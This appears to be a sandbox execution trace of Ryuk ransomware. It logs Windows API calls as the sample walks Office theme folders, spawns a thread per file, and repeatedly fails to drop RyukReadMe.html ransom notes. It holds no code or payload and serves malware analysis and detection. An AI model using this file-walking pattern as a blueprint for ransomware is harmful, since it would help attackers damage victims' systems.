	[0168.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.277] GetLastError () returned 0x5
	[0168.277] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.278] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.278] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.278] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1
	[0168.278] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644
	[0168.281] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.281] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1
	[0168.282] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648
	[0168.284] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.285] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.285] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c
	[0168.287] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.287] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650
	[0168.290] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.290] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.291] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.291] SetLastError (dwErrCode=0x0) 
	[0168.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.291] GetLastError () returned 0x5
	[0168.291] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.292] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.292] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0168.292] SetLastError (dwErrCode=0x0) 
	[0168.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.292] GetLastError () returned 0x5
	[0168.292] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.292] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.294] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.295] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1
	[0168.295] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654
	[0168.422] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.422] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1
	[0168.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658
	[0168.425] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.426] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c
	[0168.428] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.429] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.429] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660
	[0168.431] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.431] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.431] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.432] SetLastError (dwErrCode=0x0) 
	[0168.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.432] GetLastError () returned 0x5
	[0168.432] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.432] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0168.433] SetLastError (dwErrCode=0x0) 
	[0168.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.433] GetLastError () returned 0x5
	[0168.433] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.433] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.436] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.436] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1
	[0168.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664
	[0168.439] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.440] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1
	[0168.440] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668
	[0168.442] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.442] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.442] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c
	[0168.445] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.446] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.446] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670
	[0168.449] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.449] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.450] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.450] SetLastError (dwErrCode=0x0) 
	[0168.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.450] GetLastError () returned 0x5
	[0168.450] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.451] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0168.451] SetLastError (dwErrCode=0x0) 
	[0168.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.451] GetLastError () returned 0x5
	[0168.451] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.453] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.454] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1
	[0168.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674
	[0168.577] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
